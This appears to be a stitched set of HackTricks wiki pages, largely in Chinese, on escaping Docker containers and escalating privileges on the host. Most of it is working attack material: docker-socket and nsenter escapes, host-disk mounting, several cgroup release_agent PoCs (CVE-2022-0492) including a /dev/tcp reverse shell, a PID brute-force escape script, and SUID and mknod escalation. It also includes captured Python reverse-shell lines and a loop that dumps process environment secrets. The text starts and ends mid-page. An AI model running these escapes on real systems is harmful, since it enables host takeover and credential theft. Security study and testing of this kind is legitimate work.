\`\`\`bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND 1 root 0:03 /sbin/init 2 root 0:00 \[kthreadd] 3 root 0:00 \[rcu\_gp]ount | grep /proc.\*tmpfs \[...] \`\`\` ### 用户命名空间

**默认情况下，容器引擎不使用用户命名空间，除非是用于无根容器**，后者需要它们来进行文件系统挂载和使用多个UID。用户命名空间对于无根容器至关重要，无法禁用，并通过限制特权显著增强安全性。

## 参考

* <https://www.redhat.com/sysadmin/privileged-flag-container-engines>


# Docker Breakout / Privilege Escalation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 自动枚举和逃逸

* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)：它还可以**枚举容器**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery)：这个工具非常**有用，可以枚举您所在的容器，甚至尝试自动逃逸**
* [**amicontained**](https://github.com/genuinetools/amicontained)：有用的工具，用于获取容器的特权，以找到逃逸的方法
* [**deepce**](https://github.com/stealthcopter/deepce)：用于枚举和逃逸容器的工具
* [**grype**](https://github.com/anchore/grype)：获取镜像中安装的软件中包含的CVE

## 挂载的Docker套接字逃逸

如果您某种方式发现**Docker套接字被挂载**在Docker容器内部，您将能够从中逃逸。\
这通常发生在需要连接到Docker守护程序执行操作的Docker容器中。

```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```

在这种情况下，您可以使用常规的docker命令与docker守护程序进行通信：

```bash
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```

{% hint style="info" %}
如果 **docker套接字** 位于意外位置，您仍可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
{% endhint %}

Docker守护程序也可能在端口上进行监听（默认为2375、2376），或者在基于Systemd的系统上，可以通过Systemd套接字 `fd://` 与Docker守护程序通信。

{% hint style="info" %}
此外，还要注意其他高级运行时的运行时套接字：

* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
  {% endhint %}

## 能力滥用逃逸

您应该检查容器的能力，如果具有以下任何一种能力，则可能能够从中逃逸：**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**

您可以使用**先前提到的自动工具**或以下方式检查当前容器的能力：

```bash
capsh --print
```

## 从特权容器中逃逸

可以通过使用标志`--privileged`或禁用特定防御措施来创建特权容器：

* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
* `--security-opt seccomp=unconfined`
* `--security-opt label:disable`
* `--pid=host`
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* `挂载 /dev`

`--privileged`标志显著降低了容器的安全性，提供了**无限制的设备访问**并绕过**多项保护措施**。有关详细信息，请参考有关`--privileged`完整影响的文档。

{% content-ref url="/pages/VqxY9enXaUhxG5YrRzAl" %}
[Docker --privileged](/linux-hardening/privilege-escalation/docker-security/docker-privileged)
{% endcontent-ref %}

### 特权 + hostPID

拥有这些权限后，您可以轻松地**进入以 root 用户身份在主机上运行的进程的命名空间**，比如 init (pid:1)，只需运行：`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`

在容器中执行以下测试：

```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```

### 特权

仅使用特权标志，您可以尝试访问主机的磁盘或尝试滥用release\_agent或其他逃逸来进行特权升级。

在容器中执行以下绕过测试：

```bash
docker run --rm -it --privileged ubuntu bash
```

#### 挂载磁盘 - Poc1

良好配置的docker容器不会允许类似 **fdisk -l** 这样的命令。然而，在错误配置的docker命令中，如果指定了 `--privileged` 或 `--device=/dev/sda1` 并使用了权限，就有可能获得查看主机驱动器的权限。

![](https://bestestredteam.com/content/images/2019/08/image-16.png)

因此，要接管主机机器是微不足道的：

```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```

### 挂载磁盘 - Poc2

在容器内部，攻击者可能会尝试通过集群创建的可写hostPath卷进一步访问基础主机操作系统。以下是您可以在容器内部检查的一些常见内容，以查看是否可以利用这种攻击向量：

```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```

#### 利用现有的release\_agent进行特权逃逸 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1

{% code title="初始 PoC" %}

```
```

{% endcode %}

```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o
```

#### 利用创建的 release\_agent 进行特权逃逸（[cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)）- PoC2

{% code title="第二个 PoC" %}

```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```

{% endcode %}

在以下位置找到有关该技术的**解释**：

{% content-ref url="/pages/7d4vKdz6tBVK6y7ZBPld" %}
[Docker release\_agent cgroups escape](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape)
{% endcontent-ref %}

#### 滥用 release\_agent 实现特权逃逸，无需知道相对路径 - PoC3

在先前的利用中，**容器在主机文件系统中的绝对路径被泄露**。然而，并非总是如此。在你**不知道容器在主机中的绝对路径**的情况下，可以使用这种技术：

{% content-ref url="/pages/reNpDAafackWz5RVgJXa" %}
[release\_agent exploit - Relative Paths to PIDs](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids)
{% endcontent-ref %}

```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```

在一个特权容器中执行 PoC 应该会提供类似以下输出：

```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...
```

#### 滥用敏感挂载进行特权逃逸

有几个文件可能被挂载，提供有关底层主机的信息。其中一些甚至可能指示主机在发生某些事件时要执行的内容（这将允许攻击者从容器中逃脱）。 滥用这些文件可能会导致：

* release\_agent（之前已经讨论过）
* [binfmt\_misc](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#proc-sys-fs-binfmt_misc)
* [core\_pattern](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#proc-sys-kernel-core_pattern)
* [uevent\_helper](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#sys-kernel-uevent_helper)
* [modprobe](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#proc-sys-kernel-modprobe)

但是，您可以在此页面中找到其他敏感文件进行检查：

{% content-ref url="/pages/l1LQIdZafFIUhdFu2AHZ" %}
[Sensitive Mounts](/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts)
{% endcontent-ref %}

### 任意挂载

在许多情况下，您会发现容器从主机挂载了一些卷。如果此卷配置不正确，您可能能够访问/修改敏感数据：读取机密信息，更改ssh authorized\_keys...

```bash
docker run --rm -it -v /:/host ubuntu bash
```

### 使用2个shell和主机挂载进行权限提升

如果您以**容器内的root身份**访问具有来自主机挂载的某个文件夹的容器，并且已经**以非特权用户的身份逃逸到主机**并且对挂载的文件夹具有读取权限。\
您可以在**容器内挂载的文件夹**中创建一个**bash suid文件**，并且**从主机上执行**以进行权限提升。

```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```

### 通过2个shell进行特权提升

如果您在容器内部具有**root访问权限**，并且已经**以非特权用户的身份逃逸到主机**，则可以滥用这两个shell来**在主机内部提升权限**，前提是您在容器内部具有MKNOD功能（默认情况下具有），如[**此文章中所述**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
有了这样的功能，容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如，/dev/sda块设备文件允许**读取系统磁盘上的原始数据**。

Docker通过强制执行阻止**块设备读/写操作**的cgroup策略来防止容器内的块设备被滥用。然而，如果在容器内部**创建块设备**，则可以通过\*\*/proc/PID/root/**目录从容器外部访问该块设备。此访问要求**进程所有者在容器内外相同\*\*。

来自此[**文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用**示例：

```bash
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
```

```bash
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```

### hostPID

如果您可以访问主机的进程，您将能够访问存储在这些进程中的许多敏感信息。运行测试实验室：

```
docker run --rm -it --pid=host ubuntu bash
```

例如，您可以使用类似 `ps auxn` 的命令列出进程，并在命令中搜索敏感细节。

然后，由于您可以**访问主机中/proc/的每个进程，只需运行**即可窃取它们的环境机密：

```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```

你也可以**访问其他进程的文件描述符并读取它们打开的文件**：

```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```

你也可以**终止进程并造成拒绝服务**。

{% hint style="warning" %}
如果你以某种方式拥有**容器外进程的特权访问权限**，你可以运行类似 `nsenter --target <pid> --all` 或 `nsenter --target <pid> --mount --net --pid --cgroup` 来**以与该进程相同的 ns 限制**（希望没有）**运行一个 shell。**
{% endhint %}

### hostNetwork

```
docker run --rm -it --network=host ubuntu bash
```

如果一个容器配置了Docker [主机网络驱动器(`--network=host`)](https://docs.docker.com/network/host/)，那么该容器的网络堆栈与Docker主机不是隔离的（容器与主机共享网络命名空间），并且该容器不会被分配自己的IP地址。换句话说，**容器将所有服务直接绑定到主机的IP**。此外，容器可以**拦截主机发送和接收的所有网络流量**，使用共享接口`tcpdump -i eth0`。

例如，您可以使用这个方法**嗅探甚至欺骗**主机和元数据实例之间的流量。

就像以下示例中所示：

* [Writeup: 如何联系 Google SRE: 在云 SQL 中放置一个 shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务中间人攻击允许提升为 root 权限 (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)

您还可以访问主机内部绑定到**本地主机**的网络服务，甚至访问节点的**元数据权限**（这可能与容器可以访问的权限不同）。

### hostIPC

```bash
docker run --rm -it --ipc=host ubuntu bash
```

通过`hostIPC=true`，您可以访问主机的进程间通信（IPC）资源，例如在`/dev/shm`中的**共享内存**。这允许读取/写入同一IPC资源被其他主机或容器进程使用。使用`ipcs`进一步检查这些IPC机制。

* **检查/dev/shm** - 查看此共享内存位置中的任何文件：`ls -la /dev/shm`
* **检查现有IPC设施** - 您可以使用`/usr/bin/ipcs`检查是否正在使用任何IPC设施。使用以下命令检查：`ipcs -a`

### 恢复权限

如果系统调用\*\*`unshare`\*\*没有被禁止，您可以通过运行以下命令恢复所有权限：

```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```

### 通过符号链接滥用用户命名空间

在<https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/>中解释的第二种技术表明，您可以滥用用户命名空间中的绑定挂载，以影响主机内的文件（在该特定情况下，删除文件）。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## CVE

### Runc漏洞利用（CVE-2019-5736）

如果您可以以root身份执行`docker exec`（可能使用sudo），您可以尝试通过滥用CVE-2019-5736（漏洞利用[在此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)）来提升特权。该技术基本上将**从容器中**的**主机\*\*\*\*覆盖** ***/bin/sh*** 二进制文件，因此任何执行docker exec的人都可能触发有效载荷。

相应地更改有效载荷，并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
执行时，一旦显示`[+] Overwritten /bin/sh successfully`，您需要从主机上执行以下操作：

`docker exec -it <container-name> /bin/sh`

这将触发main.go文件中存在的有效载荷。

更多信息：<https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html>

{% hint style="info" %}
容器可能存在其他CVE漏洞，您可以在<https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list>中找到列表。
{% endhint %}

## Docker自定义逃逸

### Docker逃逸表面

* **命名空间：** 该进程应通过命名空间**与其他进程完全隔离**，因此我们无法通过命名空间逃脱与其他进程的交互（默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信）。
* **根用户：** 默认情况下，运行该进程的用户是根用户（但其权限受限）。
* **权限：** Docker保留以下权限：`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **系统调用：** 这些是**根用户无法调用的系统调用**（因为缺乏权限+Seccomp）。其他系统调用可用于尝试逃逸。

```yaml
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
```

```
0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf
```

syscall\_bf.c

````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

````

### Container Breakout through Usermode helper Template

If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

* Find the **path of the containers filesystem** inside the host
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
* You should be able to **execute the trigger from inside the host**
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container

## References

* <https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB>
* <https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/>
* <https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html>
* <https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d>
* <https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver>
* <https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket>
* <https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>


# release\_agent exploit - Relative Paths to PIDs

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

要了解更多详细信息，请查看来自<https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html>的博客文章。这只是一个摘要：

该技术概述了一种**从容器内部执行主机代码**的方法，克服了存储驱动程序配置带来的挑战，这些配置会隐藏容器在主机上的文件系统路径，例如Kata Containers或特定的`devicemapper`设置。

关键步骤：

1. **定位进程ID（PIDs）：** 使用Linux伪文件系统中的`/proc/<pid>/root`符号链接，可以相对于主机的文件系统访问容器中的任何文件。这样可以绕过在主机上了解容器文件系统路径的需求。
2. **PID猜测：** 采用暴力搜索方法在主机上搜索PID。这是通过顺序检查`/proc/<pid>/root/<file>`中特定文件的存在来完成的。当找到文件时，表示相应的PID属于运行在目标容器内部的进程。
3. **触发执行：** 猜测的PID路径被写入`cgroups release_agent`文件。此操作触发`release_agent`的执行。通过检查是否创建了输出文件来确认此步骤的成功。

#### 利用过程

利用过程涉及一系列更详细的操作，旨在通过猜测运行在容器内部的进程的正确PID，在主机上执行有效载荷。以下是操作步骤：

1. **初始化环境：** 在主机上准备一个有效载荷脚本（`payload.sh`），并为cgroup操作创建一个唯一目录。
